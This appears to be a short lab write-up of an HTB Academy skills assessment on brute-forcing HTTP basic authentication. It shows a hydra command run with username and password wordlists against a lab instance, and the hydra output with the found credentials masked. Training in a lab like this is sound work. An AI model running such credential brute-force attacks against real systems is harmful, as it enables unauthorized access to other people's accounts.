Skills Assessment Part 1

---

The first part of the skills assessment will require you to brute-force the the target instance. Successfully finding the correct login will provide you with the username you will need to start Skills Assessment Part 2.

You might find the following wordlists helpful in this engagement: usernames.txt and passwords.txt

---

IP : 94.237.49.209:38977

What is the password for the basic auth login?

┌─[eu-academy-3]─[10.10.15.209]─[htb-ac-1811357@htb-qrpkctol3r]─[~]
└──╼ [★]$ hydra -L users.txt -P passwords.txt 83.136.253.5  http-get / -s 33642
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-18 17:49:10
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 3400 login tries (l:17/p:200), ~213 tries per task
[DATA] attacking http-get://83.136.253.5:33642/
[33642][http-get] host: 83.136.253.5   login: xxxxx   password: xxxxxxxx

---

After successfully brute forcing the login, what is the username you have been given for the next part of the skills assessment?

---